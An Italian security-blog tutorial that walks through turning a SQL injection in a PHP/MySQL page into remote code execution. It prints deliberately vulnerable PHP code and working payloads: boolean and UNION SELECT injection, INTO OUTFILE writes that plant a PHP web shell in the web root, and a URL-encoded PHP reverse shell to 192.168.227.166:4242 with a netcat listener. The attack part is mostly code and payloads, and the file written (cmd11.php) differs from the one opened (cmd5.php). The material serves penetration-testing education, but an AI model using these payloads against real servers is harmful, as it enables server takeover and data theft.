Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Cerca
Banner Desktop
Banner Ransomfeed 320x100 1
Si può trasformare una SQL injection in una RCE? Si è possibile e vediamo come fare

Si può trasformare una SQL injection in una RCE? Si è possibile e vediamo come fare

Davide Cavallini : 9 Novembre 2023 07:27

Autore: Davide Cavallini

Oggi parleremo di un’interessante tecnica per trasformare una Sql Injection in una Remote Command Execution.Questa tecnica può essere  utilizzata anche per aprire una shell remota con il server che contiene la webapp vulnerabile.

Premetto che la tecnica funziona solo se l’utente del database ha il permesso di scrittura dei file, cosa che purtroppo spesso accade, perchè viene utilizzato l’account root. Un altro modo che può essere stato utilizzato per dare il permesso di scrivere i file all’utente è:


Byte The Silence

Scarica Gratuitamente Byte The Silence, il fumetto sul Cyberbullismo di Red Hot Cyber

"Il cyberbullismo è una delle minacce più insidiose e silenziose che colpiscono i nostri ragazzi. Non si tratta di semplici "bravate online", ma di veri e propri atti di violenza digitale, capaci di lasciare ferite profonde e spesso irreversibili nell’animo delle vittime. 
Non possiamo più permetterci di chiudere gli occhi". Così si apre la prefazione del fumetto di Massimiliano Brolli, fondatore di Red Hot Cyber, un’opera che affronta con sensibilità e realismo uno dei temi più urgenti della nostra epoca.
 Distribuito gratuitamente, questo fumetto nasce con l'obiettivo di sensibilizzare e informare. È uno strumento pensato per scuole, insegnanti, genitori e vittime, ma anche per chi, per qualsiasi ragione, si è ritrovato nel ruolo del bullo, affinché possa comprendere, riflettere e cambiare. 
Con la speranza che venga letto, condiviso e discusso, Red Hot Cyber è orgogliosa di offrire un contributo concreto per costruire una cultura digitale più consapevole, empatica e sicura. Contattaci tramite WhatsApp al numero 375 593 1011 per richiedere ulteriori informazioni oppure alla casella di posta [email protected]


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

GRANT FILE ON *.* TO utente@’localhost’;

Partiamo da una webapp che all’interno contiene un parametro id non filtrato, che va ad eseguire una query. Esempio:

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "root", "", "dvwa");

$result = $mysqli->query("SELECT * from users where user_id=".$_GET['id']);

$rows = $result->fetch_all(MYSQLI_ASSOC);

foreach ($rows as $row) {

printf("%s (%s)\n", $row["first_name"], $row["last_name"]);

}

In questo esempio, l’app legge l’utente con lo user_id che viene passato dal parametro id con il metodo HTTP GET. Questa operazione è chiaramente deleteria dal punto di vista della sicurezza del database, perchè può consentire all’hacker di accedere a tutta una serie disclosure di informazioni.

Un esempio tipico e alla portata di tutti potrebbe essere l’utilizzo di una IDOR per cambiare l’id e prendere le informazioni di tutti gli utenti con un ciclo.

ESEMPIO:

http://localhost/vulnerable.php?id=1

http://localhost/vulnerable.php?id=2

http://localhost/vulnerable.php?id=3

http://localhost/vulnerable.php?id=eccetera

Un altro esempio ancora più brutale potrebbe sfruttare un attacco del tipo SQL Injection per andare a modificare la struttura della query.

ESEMPIO:

//Se utilizzassi questo parametro

http://localhost/vulnerable.php?id=1 OR 1

La query verrebbe modificata strutturalmente diventando:

SELECT * from users where user_id=1 OR 1

Quindi andrei a pescare tutti gli utenti, in quanto potrei prendere o l’utente con user_id=1 oppure la condizione true. Questo fa si che chiaramenti il risultato di FALSE OR TRUE, o di TRUE OR TRUE, dia sempre come risultato TRUE, seguendo le logiche della matematica booleana.

Fino a qui gli esempi sono stati semplici, ma in realtà la Sql Injection nasconde delle potenzialità anche più pericolose. Ad esempio in caso di server misconfiguration, come dicevo precedentemente, potrebbe essere utilizzata per una remote command execution, ovvero una esecuzione remota di codice da parte di un malintenzionato.

Infatti non so se ci avete mai fatto caso, ma esiste un interessante funzione per exportare il dump della tabella su file CSV. Cercando in Google “Exporting Query Results from MySQL” vi verrà certamente fuori subito una pagina che vi dirà che è possibile esportare il dump in un file con una query simile a questa:

SELECT * FROM users INTO OUTFILE ‘/tmp/users.txt’;

Fino a qui sembrerebbe tutto nella norma, ma come ben saprà chi mastica il linguaggio SQL da tempo, potrei anche fare una select e mostrare un dato a mia scelta, come una stringa o un numero, eseguendo una query simile a questa:

SELECT ‘questa è la mia stringa’;

RISULTATO:

Fino a qui ancora sembra tutto innocuo.

Ma che cosa succederebbe se andassimo ad esportare un comando php in una cartella eseguibile da remoto, come /var/www/html?

ESEMPIO:

SELECT ‘<?php echo shell_exec(“pwd”)’ INTO OUTFILE ‘/var/www/html/pwd.php’;

RISULTATO:

Chiaramente anche il fatto che la cartella /var/www/html sia scrivibile, deriva da una misconfiguration riguardante i permessi di scrittura nella cartella, ovvero di chmod. 

Cosa che purtroppo però è spesso sottovalutata e consentita.

Ok, quindi a questo punto abbiamo capito che con questa query è possibile scrivere un file nella cartella /var/www/html

Vediamo come fare a scriverlo utilizzando la SQL Injection.

ANDIAMO A MODIFICARE L’URL COME SEGUE

http://localhost/vulnerable.php?id=1%20INTO%20OUTFILE%20%27/var/www/html/cmd2.php%27;

e vedremo che il file cmd2.php viene creato, e contiene la riga dell’utente 1

ora andiamo a scoprire quante colonne possiede questa tabella, con la tecnica dell’union select:

http://localhost/vulnerable.php?id=1 union select 1,2,3,4,5,6,7,8

chiaramente anche il risultato dell’UNION SELECT è esportabile in un file.

ORA AL POSTO DELLA COLONNA 2 INSERIAMO IL NOSTRO COMANDO “MALEVOLO”

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20echo%20shell_exec(%22pwd%22);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd4.php%27;

Ora andiamo subito a vedere il frutto del nostro esperimento

Vedete che oltre a delle inutili scritte, dentro al file cmd4.php c’è effettivamente del codice php che esegue il comando pwd.

Vediamo il risultato nel browser:

Accipicchia, il codice PHP è stato eseguito, quindi la RCE è riuscita!!!

Ora andiamo a raffinare la tecnica e apriamo un terminale sul server remoto.

Prendiamo da GitHub un qualsiasi codice per aprire una reverse shell in php su server linux e sostituiamo l’ip e porta con i nostri dati

<?php $sock=fsockopen(“192.168.227.166”,4242);exec(“/bin/sh -i <&3 >&3 2>&3”); ?>

Quindi l’url per iniettare il codice diventerà:

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20$sock=fsockopen(%22192.168.227.166%22,4242);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd11.php%27;

Ora apriamo un terminale client e con netcap apriamoci la porta 4242 in ascolto:

nc -v -n -l -p 4242

Ok, a questo punto apriamo la pagina cmd5.php nel browser e vediamo che cosa accadrà:

come potete vedere l’utente è www-data, quindi abbiamo preso il controllo remoto del server. Ora potremmo procedere alla privilege escalation.

Immagine del sitoDavide Cavallini
Davide Cavallini è un esperto sviluppatore senior specializzato in Laravel e JavaScript, con una notevole esperienza come penetration tester. La sua carriera è caratterizzata da un impegno nell'insegnamento e nella condivisione della sua conoscenza, contribuendo alla formazione di nuovi professionisti nel campo dello sviluppo software e della sicurezza informatica. La sua passione per la tecnologia lo spinge a rimanere sempre aggiornato e a esplorare nuove frontiere dell'informatica.

Lista degli articoli

Articoli in evidenza

Immagine del sito
Atroposia: la piattaforma MaaS che fornisce un Trojan munito di scanner delle vulnerabilità
Di Redazione RHC - 30/10/2025

I ricercatori di Varonis hanno scoperto la piattaforma MaaS (malware-as-a-service) Atroposia. Per 200 dollari al mese, i suoi clienti ricevono un Trojan di accesso remoto con funzionalità estese, tra...

Immagine del sito
0day come armi: ha venduto 8 exploit 0day della difesa USA a Mosca
Di Redazione RHC - 30/10/2025

Peter Williams, ex dipendente dell’azienda appaltatrice della difesa, si è dichiarato colpevole presso un tribunale federale degli Stati Uniti di due capi d’accusa per furto di segreti commercial...

Immagine del sito
Cloud sì o cloud no: quando il cielo digitale si oscura
Di Redazione RHC - 30/10/2025

L’interruzione dei servizi cloud di Microsoft, avvenuta poche ore prima della pubblicazione dei risultati trimestrali, è solo l’ultimo episodio di una lunga serie di blackout che stanno mettendo ...

Immagine del sito
Gli USA costruiscono il più grande supercomputer AI della storia
Di Redazione RHC - 30/10/2025

Il Dipartimento dell’Energia degli Stati Uniti (DOE) ha avviato una collaborazione strategica con Nvidia e Oracle per costruire sette supercomputer di nuova generazione basati sull’intelligenza ar...

Immagine del sito
Microsoft 365 va giù: un’anomalia DNS paralizza servizi in tutto il mondo
Di Redazione RHC - 29/10/2025

Una interruzione del servizio DNS è stata rilevata il 29 ottobre 2025 da Microsoft, con ripercussioni sull’accesso ai servizi fondamentali come Microsoft Azure e Microsoft 365. Un’ anomalia è st...